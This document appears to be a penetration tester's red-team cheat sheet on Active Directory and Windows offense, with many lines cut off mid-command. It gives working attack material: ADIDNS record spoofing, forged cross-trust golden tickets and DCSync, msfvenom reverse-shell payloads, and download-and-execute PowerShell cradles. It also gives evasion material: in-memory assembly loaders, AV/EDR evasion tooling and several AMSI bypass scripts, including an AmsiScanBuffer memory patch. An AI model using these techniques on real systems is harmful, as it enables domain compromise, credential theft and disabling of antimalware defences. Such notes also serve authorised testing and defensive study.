$ coercer -u snovvcrash -p 'Passw0rd!' -wh VICTIM01 -wp 8080 -t 192.168.1.11

ADIDNS Abuse
Active Directory integrated DNS

https://blog.netspi.com/exploiting-adidns/
https://blog.netspi.com/adidns-revisited/

https://www.gosecure.net/blog/2019/02/20/abusing-unsafe-defaults-in-active-directory/

0. Load tools:

PS > IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/powermad.ps1")

1. Check if you are able to modify (add) AD DNS names:

PS > Get-ADIDNSZone -Credential $cred -Verbose


DC=megacorp.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=megacorp,DC=local
DC=RootDNSServers,CN=MicrosoftDNS,DC=DomainDnsZones,DC=megacorp,DC=local
DC=_msdcs.megacorp.local,CN=MicrosoftDNS,DC=ForestDnsZones,DC=megacorp,DC=local
DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=megacorp,DC=local

PS > Get-ADIDNSPermission -Credential $cred -Verbose | ? {$_.Principal -eq 'NT AUTHORITY\Authe


Principal : NT AUTHORITY\Authenticated Users
IdentityReference : S-1-5-11
ActiveDirectoryRights : CreateChild
InheritanceType : None
ObjectType : 00000000-0000-0000-0000-000000000000
InheritedObjectType : 00000000-0000-0000-0000-000000000000
ObjectFlags
AccessControlType : Allow
None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None

This CreateChild permission is what we need.

2. Create, configure the new DNS name that could be likely exploited for spoofing with Attacker's IP and
enable it. I chose pc01 which was found in DNS cache:

PS > New-ADIDNSNode -DomainController dc1 -Node pc01 -Credential $cred -Verbose


PS > $dnsRecord = New-DNSRecordArray -Type A -Data 10.10.13.37
PS > Set-ADIDNSNodeAttribute -Node pc01 -Attribute dnsRecord -Value $dnsRecord -Credential $cr
PS > Enable-ADIDNSNode -DomainController dc1 -Node pc01 -Credential $cred -Verbose

3. Check the newly created DNS object and try to resolve it. AD will need some time (~180 seconds) to sync
LDAP changes via its DNS dynamic updates protocol:

PS > Get-ADIDNSNodeAttribute -Node pc01 -Attribute dnsRecord -Credential $cred -Verbose


PS > Resolve-DNSName pc01
PS > cmd /c ping -n 1 pc01

4. Cleanup:

PS > Remove-ADIDNSNode -DomainController dc1 -Node pc01 -Credential $cred -Verbose

adidnsdump

https://github.com/dirkjanm/adidnsdump

$ adidnsdump -u 'megacorp.local\snovvcrash' -p 'Passw0rd!' DC01.megacorp.local -r [--dcfilter]


$ mv records.csv ~/ws/enum/adidns.csv

Check with ldapsearch:

$ ldapsearch -H ldap://10.10.13.37:389 -x -D 'CN=snovvcrash,CN=Users,DC=megacorp,DC=local' -w

If you need to dump a child domain ADIDNS (say child.megacorp.local ), then you may want to use
--zone and --forest options:

# Will dump records from DC=megacorp.local,CN=MicrosoftDNS,DC=ForestDnsZones,DC=megacorp,DC=lo


$ adidnsdump -u 'child.megacorp.local\snovvcrash' -p 'Passw0rd!' DC01.child.megacorp.local --z
# Will attempt to dump records from DC=child.megacorp.local,CN=MicrosoftDNS,DC=DomainDnsZones
$ adidnsdump -u 'child.megacorp.local\snovvcrash' -p 'Passw0rd!' DC01.child.megacorp.local -r

Merge all the IPs into /24 CIDRs with a Python script:

cidr_merge.py
#!/usr/bin/env python3

"""
Merge standalone IPs into CIDRs.

Example:
$ cat ~/ws/enum/adidns.csv | awk -F, '{print $3}' > ip.lst
$ cidr_merge.py | sort -u -t'.' -k1,1n -k2,2n -k3,3n -k4,4n | grep -e '^192' -e '^172' -e '^10
"""

import netaddr

iplst = []
with open('ip.lst', 'r') as fd:
for line in fd:
ip = line.rstrip('\n')
try:
iplst.append(netaddr.IPNetwork(f'{ip}/24'))
except netaddr.core.AddrFormatError:
pass

for net in netaddr.cidr_merge(iplst):


print(str(net))

Or using mapcidr:

$ eget -qs linux/amd64 projectdiscovery/mapcidr


$ cat ~/ws/enum/adidns.csv | awk -F, '{print $3}' | egrep '^[0-9]' | mapcidr -aa -silent | map

DnsServer
Dump ADIDNS using PowerShell and DnsServer module:

PS > Import-Module DnsServer


PS > Get-DnsServerZone -ComputerName DC01 | % {Get-DnsServerResourceRecord -ComputerName DC01

Attack Trusts
"Note that the Active Directory domain is not the security boundary; the AD forest is." - Sean Metcalf (ref)

http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/

http://www.harmj0y.net/blog/redteaming/domain-trusts-were-not-done-yet/

http://www.harmj0y.net/blog/redteaming/domain-trusts-why-you-should-care/

https://habr.com/ru/company/jetinfosystems/blog/466445/

Theory

https://blogs.msmvps.com/acefekay/2016/11/02/active-directory-trusts/

https://github.com/snovvcrash/TrustVisualizer/blob/9dadd852b69b7882577c0ab6ac7f42f539d9c58a/Tru
stVisualizer.py#L48-L60
Trust 👉🏻 a link between the authentication systems of two domains.

Transitive trust 👉🏻 the trust is extended to objects which the child domain trusts.

Non-transitive trust 👉🏻 only the child domain itself is trusted.


Bidirectional (two-way) trust 👉🏻 users from both trusting domains can access resources.
One-way trust 👉🏻 only users in a trusted domain can access resources in a trusting domain, not vice-
versa (the direction of trust is opposite to the direction of access).

Some trust types:

Trust Type Description

A trust between domains within the same forest.


Parent-child The child domain has a bidirectional transitive trus
with the parent domain.

A trust between child domains (used to speed up


Cross-link (shortcut)
authentication).

A bidirectional transitive trust between a forest roo


domain and a new tree root domain. Created
Tree-root (intra-forest) implicitly when a new domain tree is created in the
forest.

A transitive trust between two forest root domains.


Forest
Enforces SID filtering.

A non-transitive trust between two separate


External (inter-forest) domains in separate forests that are not already
joined by a forest trust. Enforces SID filtering.
Enumeration
Get forest object:

PV2 > Get-NetForest [-Forest megacorp.local]


PV3 > Get-Forest [-Forest megacorp.local]

Get all domains in a fores:

PV2 > Get-NetForestDomain [-Forest megacorp.local]


PV3 > Get-ForestDomain [-Forest megacorp.local]

Enum trusts for current domain via nltest and .NET:

Cmd > nltest /trusted_domains


PS > ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelati
PS > ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelati

Enum trusts via Win32 API and LDAP (PowerView):

PV2 > Get-NetDomainTrust [-Domain megacorp.local] | ft


PV3 > Get-DomainTrust -API [-Domain megacorp.local] | ft

PV2 > Get-NetDomainTrust -LDAP [-Domain megacorp.local] | ft


PV3 > Get-DomainTrust [-Domain megacorp.local] | ft

Build domain trust mapping:

PV2 > Invoke-MapDomainTrust [-Domain megacorp.local] | ft


PV3 > Get-DomainTrustMapping [-Domain megacorp.local] | ft

sIDHistory/ExtraSids Hopping

http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/
http://www.harmj0y.net/blog/redteaming/the-trustpocalypse/
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-
to-ea-in-parent-domain
Abusing Bidirectional ParentChild trust between child megacorp local ⟷ megacorp local
Check if SID filtering is enabled for a trust:

Cmd > netdom.exe trust child.megacorp.local /domain:megacorp.local /quarantine


SID filtering is not enabled for this trust. All SIDs presented in an
authentication request from this domain will be honored.

For creating a cross-trust golden ticket (forged inter-realm TGT) we'll need:

1. child domain FQDN ( child.megacorp.local );

2. name of the child domain's DC machine account and its RID ( DC01$ , 31337 );

3. SID of the child domain ( S-1-5-21-4266912945-3985045794-2943778634 );

4. SID of the parent domain ( S-1-5-21-2284550090-1208917427-1204316795 );

5. compomised krbtgt hash from the child domain ( 00ff00ff00ff00ff00ff00ff00ff00ff );

6. ???
7. PROFIT.

1.
PS > $env:userdnsdomain
CHILD.MEGACORP.LOCAL

2.
PV2 > (Get-NetComputer -ComputerName DC01.child.megacorp.local -FullData | select ObjectSID).O
PV3 > (Get-DomainComputer DC01.child.megacorp.local | select ObjectSID).ObjectSID
S-1-5-21-4266912945-3985045794-2943778634-31337

3.
PV > Get-DomainSID
S-1-5-21-4266912945-3985045794-2943778634

4.
PS > (New-Object System.Security.Principal.NTAccount("megacorp.local","krbtgt")).Translate([Sy
S-1-5-21-2284550090-1208917427-1204316795-502

Create cross-trust golden ticket:

mimikatz # kerberos::golden /domain:child.megacorp.local /user:DC01$ /id:31337 /groups:516 /si


Or

$ ticketer.py -nthash 00ff00ff00ff00ff00ff00ff00ff00ff -user-id 31337 -groups 516 -domain chil

For DCSyncing we'll need only parent domain FQDN ( megacorp.local ):

PS > ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest())[0].RootDomain.Nam
megacorp.local
DCSync:

mimikatz # lsadump::dcsync /user:megacorp.local\krbtgt /domain:megacorp.local

Request Inter-Realm TGT with Rubeus

Having just an RC4/AES keys of a user in target forest (that's a foreign user in target domain, but a native
user in current domain), we can request Kerberos tickets manually with Rubeus.

Request TGT for that user in current domain:

beacon> execute-assembly Rubeus.exe asktgt /user:snovvcrash /domain:megacorp.local /aes256:94b

Request inter-realm TGT from current domain to the target domain:

beacon> execute-assembly Rubeus.exe asktgs /service:krbtgt/megacorp.external /domain:megacorp

Use inter-realm TGT to request a TGS in the target domain:

beacon> execute-assembly Rubeus.exe asktgs /service:cifs/DC1.megacorp.external /domain:megacor

UnD + PrinterBug

https://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/
https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-
71f2b33688e1
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet#breaking-forest-trusts

https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-
Spoolsample.ps1
https://github.com/BlackDiverX/WinTools/blob/master/SpoolSample-Printerbug/SpoolSample.exe

Unconstrained

Can be abused either if CVE-2019-0683 is not fixed or if EnableTGTDelegation is enabled for the
trusted forest:

Cmd > netdom.exe trust forestB.net /domain:forestA.net /EnableTGTDelegation:Yes


Attack Forest Trusts
List foreign users and users from foreign groups:

PV2 > Find-ForeignUser -Domain [-Domain megacorp.local]


PV3 > Get-DomainForeignUser [-Domain megacorp.local]

PV2 > Find-ForeignGroup -Domain [-Domain megacorp.local]


PV3 > Get-DomainForeignGroupMember [-Domain megacorp.local]

PV > Convert-SidToName ...

List user accounts from a target domain with SPNs set for Kerberoasting:

PV3 > Get-DomainUser -SPN -Domain megacorp.local | ? {$_.samAccountName -ne "krbtgt"} | select
PS > .\SharpView.exe Get-DomainUser -SPN -Domain megacorp.local -Properties samAccountName,mem

If SID history is enabled (e.g., if domain is on its migration period, netdom trust b.net /d:a.net
/enablesidhistory:yes ) then the forest trust is treated as external.

We can try to locate non-default (with RID greater than 1000) admin account:

PV2 > Get-NetGroupMember -GroupName "Administrators" -Domain -Domain b.net


PV3 > Get-DomainGroupMember -Identity "Administrators" -Domain b.net

If such an account is a member of a domain local security group (not a global group like Enterprise Admins
or Domain Admins) and allows us to pwn a user or a computer in target domain, we can forge the inter-realm
TGT the same way as described above.

CVE-2020-0665

https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/
https://dirkjanm.io/active-directory-forest-trusts-part-two-trust-transitivity/
https://github.com/dirkjanm/forest-trust-tools

Visualization (yEd)

http://www.harmj0y.net/blog/redteaming/domain-trusts-why-you-should-care/
https://github.com/HarmJ0y/TrustVisualizer
https://github.com/snovvcrash/TrustVisualizer
https://www.yworks.com/products/yed
PV2 > Invoke-MapDomainTrust | Export-Csv -NoTypeInformation trusts.csv
PV3 > Get-DomainTrustMapping | Export-Csv -NoTypeInformation trusts.csv
$ git clone https://github.com/snovvcrash/TrustVisualizer && cd TrustVisualizer
$ pip3 install -r requirements.txt
$ python3 TrustVisualizer.py trusts.csv

AV / EDR Evasion

https://hacker.house/lab/windows-defender-bypassing-for-meterpreter/

https://codeby.net/threads/meterpreter-snova-v-dele-100-fud-with-metasploit-5.66730/

https://github.com/phackt/stager.dll
https://medium.com/securebit/bypassing-av-through-metasploit-loader-32-bit-6d62930151ad

https://medium.com/securebit/bypassing-av-through-metasploit-loader-64-bit-9abe55e3e0c8
https://xakep.ru/2020/12/23/shikata-ga-nai/

https://infosecwriteups.com/evade-avs-edr-with-shellcode-injection-159dde4dba1a?gi=84db9a8c5c5f
https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/
https://luemmelsec.github.io/Circumventing-Countermeasures-In-AD/

https://blog.sunggwanchoi.com/creating-a-loader-poc-using-various-languages/

https://sevrosecurity.com/2019/05/25/bypass-windows-defender-with-a-simple-shell-loader/
https://xakep.ru/2021/07/23/detection-bypassing/
https://zen.yandex.ru/media/id/5d4f02da027a1500ad43866f/obhodim-antivirusy-kriptor-net-prilojenii-
5fc6a199a8f33a1036140386

Recon

https://github.com/ethereal-vx/Antivirus-Artifacts
https://github.com/Mr-Un1k0d3r/EDRs

Common AV process names:

Process Name Vendor/Product

avp.exe KIS / KES

cpda.exe Check Point End Point Security

egui.exe ESET GUI

ekrn.exe ESET Kernel Service


MsMpEng.exe Windows Defender

ntrtscan.exe Trend Micro OfficeScan

tmlisten.exe Trend Micro OfficeScan

Search for active AV processes on hosts (local admin priveleges required):

Cmd > WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get display


PS > Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct
PS > gc .\100-hosts.txt | % {gwmi -Query "select * from Win32_Process" -ComputerName $_ | ? {$

Identify Microsoft.NET version from inspecting assembly properties:

PS > cd C:\Windows\Microsoft.NET\Framework64\
PS > ls
PS > cd .\v4.0.30319\
PS > Get-Item .\clr.dll | Fl
Or
PS > [System.Diagnostics.FileVersionInfo]::GetVersionInfo($(Get-Item .\clr.dll)).FileVersion

Identify Microsoft.NET version from querying the registry:

PS > Get-ItemProperty "HKLM:SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" -Name Release

Windows build <-> default .NET Framework version associations:

Windows Build Default .NET Framework Version

1511 4.6.1

1607 4.6.2

1703 4.7

1709 4.7.1

1803 4.7.2

1909+ 4.8

.NET Framework version <-> CLR version associations:

.NET Framework Version CLR Version

2.0, 3.0, 3.5 2

4, 4.5-4.8 4
Note that we don't have to target the exact .NET Framework version when compiling our tools. It's
enough to match the above relationship between .NET Framework version and CLR version, i. e.
all 4.x versions will execute on CLR v4. For example, Rubeus compiled to target v4.5 will run on
a machine with only .NET v4.0 installed.

Tools

msfvenom

$ msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1337 -a x86 --platform win -e x8


$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1337 -e x86/shikata_ga_nai

Veil-Evasion

Hyperion + Pescramble

$ wine hyperion.exe input.exe output.exe


$ wine PEScrambler.exe -i input.exe -o output.exe

GreatSCT

https://github.com/GreatSCT/GreatSCT

HackTheBox - Arkham
Install and generate a payload:

$ git clone https://github.com/GreatSCT/GreatSCT ~/tools/GreatSCT


$ cd ~/tools/GreatSCT/setup
$ ./setup.sh
$ cd .. && ./GreatSCT.py
...generate a payload...
$ ls -la /usr/share/greatsct-output/handlers/payload.{rc,xml}

$ msfconsole -r /usr/share/greatsct-output/handlers/payload.rc

Exec with msbuild.exe and get a shell:

PS > cmd /c C:\Windows\Microsoft.NET\framework\v4.0.30319\msbuild.exe payload.xml

Invoke-Obfuscation

https://github.com/danielbohannon/Invoke-Obfuscation
https://www.danielbohannon.com/blog-1/2017/12/2/the-invoke-obfuscation-usage-guide

Out-EncryptedScript.ps1

https://github.com/PowerShellMafia/PowerSploit/blob/master/ScriptModification/Out-
EncryptedScript.ps1
https://powersploit.readthedocs.io/en/latest/ScriptModification/Out-EncryptedScript/

PS > Out-EncryptedScript .\script.ps1 $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force


PS > . .\evil.ps1
PS > $dec = de "Passw0rd!" s4lt
PS > Invoke-Expression $dec

PowerShellArmoury

https://github.com/cfalta/PowerShellArmoury
https://cyberstoph.org/posts/2019/12/evading-anti-virus-with-powershell-armoury/
https://cyberstoph.org/posts/2020/02/psarmoury-1.4-now-with-even-more-armour/

PS > git clone https://github.com/cfalta/PowerShellArmoury


PS > cd PowerShellArmoury
PS > curl https://github.com/penetrarnya-tm/WeaponizeKali.sh/raw/main/json/PSArmoury.json -o P
PS > . .\New-PSArmoury.ps1
PS > New-PSArmoury -ValidateOnly -Config PSArmoury.json
PS > New-PSArmoury -Path armored.ps1 -Config PSArmoury.json
PS > cat -raw .\armored.ps1 | iex

Ebowla

$ git clone https://github.com/Genetic-Malware/Ebowla ~/tools/Ebowla && cd ~/tools/Ebowla


$ sudo apt install golang mingw-w64 wine python-dev -y
$ sudo python -m pip install configobj pyparsing pycrypto pyinstaller
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.13.37 LPORT=1337 --platform win -f exe
$ vi genetic.config
...Edit output_type, payload_type, clean_output, [[ENV_VAR]]...
$ python ebowla.py rev.exe genetic.config && rm rev.exe
$ ./build_x64_go.sh output/go_symmetric_rev.exe.go ebowla-rev.exe [--hidden] && rm output/go_s
[+] output/ebowla-rev.exe

PEzor

https://github.com/phra/PEzor

Wrap executable into PEzor:

$ bash PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=10 evil.exe -z 2

inceptor

https://klezvirus.github.io/RedTeaming/AV_Evasion/CodeExeNewDotNet/
https://github.com/klezVirus/inceptor

ScareCrow

https://github.com/optiv/ScareCrow

https://www.grahamhelton.com/blog/scarecrow/
https://adamsvoboda.net/evading-edr-with-scarecrow/

Huan

https://github.com/frkngksl/Huan

Cmd > .\Huan.exe mimikatz.exe mimiLoader.exe


Cmd > .\mimiLoader.exe
charlotte

https://github.com/9emin1/charlotte

$ sudo apt install 'mingw-w64*' -y


$ msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.13.37 LPORT=1337 -f raw > beacon
$ python charlotte.py
Cmd > rundll32.exe charlotte.dll, <XOR_KEY>

MeterPwrShell

https://github.com/GetRektBoy724/MeterPwrShell/releases

https://raikia.com/tool-powershell-encoder/

$ sudo ./MeterPwrShell2Kalix64 -c noaptupdate

SharpSploit

https://github.com/cobbr/SharpSploit
https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/SharpSploit%20-
%20Quick%20Command%20Reference.md

SharpGen

https://github.com/cobbr/SharpGen
https://cobbr.io/SharpGen.html

Execution.ShellCode

$ ~/tools/PEzor/deps/donut/donut -i GruntHTTP.exe -o grunt.bin


$ echo -n 'var shellcode = Convert.FromBase64String("' > shellcode.txt
$ echo -n `base64 -w0 grunt.bin` >> shellcode.txt
$ echo '");' >> shellcode.txt
$ echo 'ShellCode.ShellCodeExecute(shellcode);' >> shellcode.txt
$ ~/.dotnet/dotnet bin/Debug/netcoreapp2.1/SharpGen.dll -f payload.exe -s shellcode.txt -c She

.NET Reflective Assembly

https://pscustomobject.github.io/powershell/howto/PowerShell-Add-Assembly/
https://github.com/S3cur3Th1sSh1t/PowerSharpPack#powersharppack
https://github.com/GhostPack/Rubeus#sidenote-running-rubeus-through-powershell
https://github.com/cfalta/PowerShellArmoury/blob/master/ConvertTo-Powershell.ps1
https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/convert_c%23_to_ps1.ps1

https://icyguider.github.io/2022/01/03/Convert-CSharp-Tools-To-PowerShell.html
https://cyberstoph.org/posts/2020/09/convertto-powershell-wrapping-applications-with-ps/

A way to bypass AV signature analysis: you can gzip-compress and base64-encode a .NET assembly to
load it reflectively via PowerShell right from memory (when compiling the binary, make Program class and
its Main method public):

CompressEncodeAssembly.ps1
$bytes = [System.IO.File]::ReadAllBytes("$(pwd)\binary.exe")
[System.IO.MemoryStream] $outStream = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream($outStream, [System.IO.Compression.C
$gzipStream.Write($bytes, 0, $bytes.Length)
$gzipStream.Close()
$outStream.Close()
[byte[]] $outBytes = $outStream.ToArray()
$b64Zipped = [System.Convert]::ToBase64String($outBytes)
$b64Zipped | Out-File -NoNewLine -Encoding ASCII .\b64.txt
notepad.exe .\b64.txt

This blog post covers the topic in depth.

An example how the binary can be actually decoded, decompressed and run from memory:

function Invoke-S0m3B1n4ry
{
[CmdletBinding()]
Param([String]$cOmmANd = " ")

$a = NeW-obJeCt sYsTeM.Io.MEMoRysTREaM(,[coNveRT]::frombaSE64sTrINg("..."))

$DEcoMpRESSEd = nEw-obJEct SYsteM.io.CompREsSION.gzIPsTreaM($a, [sYstEM.iO.COMPrEssION


$OUtpuT = New-oBjeCt SySTeM.IO.MEmorYstREam
$dEcoMPReSSEd.copYto( $outPUt )
[BYte[]]$ByTEOuTarrAy = $OUtPUT.toarrAY()
$RAs = [sySTeM.REfLecTIOn.ASSEmBlY]::load($bYTeOUTArraY)
$olDconsOLeOuT = [CONSoLe]::out
$StRInGwritEr = nEW-ObJEct System.IO.STRiNgwRiTEr
[cONSOLE]::sEtOut($STringWRITer)

[S0m3B1n4ry.Program]::maiN($CoMmAND.Split())
# or [S0m3B1n4ry.Program]::maiN([string[]]$args)

[cOnsolE]::sEtout($olDCONsOleout)
$resUlTs = $sTRInGWRiter.TOSTring()
$rESuLTs
}
C# to Unmanaged DLL

https://blog.xpnsec.com/rundll32-your-dotnet/

Creating assembly with DLL exports from C# code:

1. Select your favorite C# offensive tool.

2. Install DllExport package via "Manage NuGet Packages for Solution" in VS.

3. Configure DllExport like on the screenshot below and click "Apply".

4. Agree to reload the solution.

5. Edit the Main function code to work with no arguments passed so that the signature looks like static
void Main() .
6. Add [DllExport] attribute before the Main function.

7. Check "Allow unsafe code" and "Optimize code" boxes in Build tab of the solution.
8. Build the solution as Release x64 DLL assembly.
9. (Optional) Obfuscate the assembly with something like Confuser.

DllExport Configuration

The resulting DLL will be placed in .\bin\x64\Release\x64\ directory.

Author's note: I’m not sure why it requires so much finessing, but I’m open to any optimizations or
explanations if anyone knows. Specifically, only the DLL in the \x64\ directory will work, for
some reason the one that’s under \Release\ does not contain the entrypoint that should be
generated by [DllExport] , even though it’s built at the same time as the one in \x64\ .
AMSI Bypass
Antimalware Scan Interface

https://amsi.fail/

https://github.com/subat0mik/whoamsi

https://blog.f-secure.com/hunting-for-amsi-bypasses/

https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification/
https://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/

https://iwantmore.pizza/posts/amsi.html

https://github.com/BC-SECURITY/Beginners-Guide-to-Obfuscation
https://ethicalchaos.dev/2022/04/17/in-process-patchless-amsi-bypass/

AMSI Test Sample:

PS > Invoke-Expression "AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386"

PowerShell

Evil-WinRM + IEX

*Evil-WinRM* PS > menu


*Evil-WinRM* PS > Bypass-4MSI
*Evil-WinRM* PS > IEX([Net.Webclient]::new().DownloadString("http://127.0.0.1/PowerView.ps1"))

Wipe amsiContext

amsiContext.ps1
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {if ($e.Name -like "*Context") {$f = $e}}
$g = $f.GetValue($null)
[IntPtr]$ptr = $g
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

Set amsiInitFailed

By Matt Graeber in 2016:

amsiInitFailed.ps1
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {if ($e.Name -like "*Failed") {$f = $e}}
$f.SetValue($null,$true)

Obfuscated:

https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_12.ps1

amsiInitFailed-obf.ps1
$A="5492868772801748688168747280728187173688878280688776";$B="82811736808676568776798668808676

Patch AmsiScanBuffer

https://rastamouse.me/memory-patching-amsi-bypass/
https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/main/AmsiBypass.cs

https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell#patching-amsidll-amsiscanbuffer-by-
rasta-mouse

0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-
powershell-code.html
https://gist.github.com/snovvcrash/cc97787d34938e9d93243a8e4947e560

Re-implementing the method with reflective PowerShell:

amsiScanBuffer.ps1
function lookupFunc {
Param ($moduleName, $funcName)

$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | ? { $_.GlobalAssemblyCache -And $_


$tmp = @()
$assem.GetMethods() | % {If($_.Name -eq 'GetProcAddress') {$tmp += $_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($modu
}
function
ParamgetDelegateType
( {

[Parameter(Position=0, Mandatory=$True)][Type[]] $argsTypes,


[Parameter(Position=1)][Type] $retType = [Void]
)

$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.Ass


$type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConv
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argsTypes)
return $type.CreateType()
}

[IntPtr]$asb = lookupFunc amsi.dll ("Ams"+"iS"+"can"+"Buf"+"fer")


$oldProtect = 0
$vp = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lookupFunc kern
$vp.Invoke($asb, [uint32]6, 0x40, [ref]$oldProtect)
$patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $asb, 6)
$vp.Invoke($asb, [uint32]6, 0x20, [ref]$oldProtect)

AmsiScanBuffer Usage Example

beforeAndAfterPatch.ps1
using System;
using System.Runtime.InteropServices;
using System.Text;

namespace ConsoleApp
{
class Program
{

